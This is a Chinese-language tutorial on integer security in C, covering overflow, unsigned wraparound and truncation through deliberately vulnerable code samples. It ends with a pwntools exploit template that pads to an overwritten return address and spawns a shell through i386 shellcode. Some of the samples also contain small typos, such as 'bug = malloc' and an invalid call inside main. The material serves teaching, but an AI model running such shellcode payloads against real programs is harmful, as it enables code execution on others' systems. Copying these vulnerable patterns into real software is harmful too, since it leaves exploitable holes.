整数安全

1.整数溢出漏洞

学习过C语言的同学都知道在计算机中,整数分为无符号整数以及有符号整数两种。这里我们不详细展开。我们只讨论整数异常的三种情况:

(1)溢出:只有有符号数才会溢出。

(2)回绕:无符号数0-1时会变成最大的数。

(3)截断:将一个较大宽度的数存入一个宽度较小的操作数中,高位会发生截断。

2.整数溢出实例

整数转换

如果攻击者给len一个复数,即可绕过if的检测,当执行memcpy的时候len会被转换成一个无符号的整型,于是会复制大量的内容到buf中,引发缓冲区溢出。

char buf[80];

void vulnerable()

{

int len = read_int_from_network();

char *p = read_string_from_network();

if(len > 80)

{

error("length too large: bad dog,no cookie for you !");

return;

}

memcpy(buf,p,len);

}

回绕和溢出

下面例子中如果len过大,len+5是有可能发生回绕的。x86-32上,如果len=0xFFFFFFFF,那么len+5=0x00000004,这时malloc()只分配了4字节内存,如果在里面写入大量数据是会造成缓冲区溢出的。

void vulnerable()

{

size_t len;

char* buf;

len = read_int_from_network();

bug = malloc(len + 5);

read(fd,buf,len);

}

截断

下面的代码逻辑上看是没有问题的。但是我们仔细看代码,首先程序分配足够的内存来存储拼接后的字符串。接着将第一个字符串复制到缓冲区,然后将第二个字符串拼接到尾部。这个时候如果攻击者提供的两个字符串总长度无法用total表示,就会发生截断,从而导致后面缓冲区的溢出。

void main(int argc,char *argv[])

{

unsigned short int total;

total = strlen(argv[1]) + strlen(argv[2]) + 1;

char *buf = (char *)malloc(total);

strcpy(buf,argv[1]);

strcat(buf,argv[2]);

}

整数溢出实战

我们来看下面的实例。

#include<stdio.h>

#include<string.h>

void validate_passwd(char *passwd)

{

char passwd_buf[11];

unsigned char passwd_len = strlen(passwd); //strlen 返回值是size_t(unsigned int),大拷贝小,造成回环。

if(passwd_len >= 4 && passwd_len <= 8)

{

printf("good!\n");

strcpy(passwd_buf,passwd); //这里的passwd是261可以绕过if判断

}

else

{

printf("bad!\n");

}

}

int main(int argc,char *argv[])

{

void validate_passwd(argv[1]);

}

最后附上exp代码。

from pwn import *

ret_addr = return addr

shellcode = shellcraft.i386.sh()

payload = "A" * 24 + p32(ret_addr) + "\x90" * 20 + asm(shellcode) + "C" * 169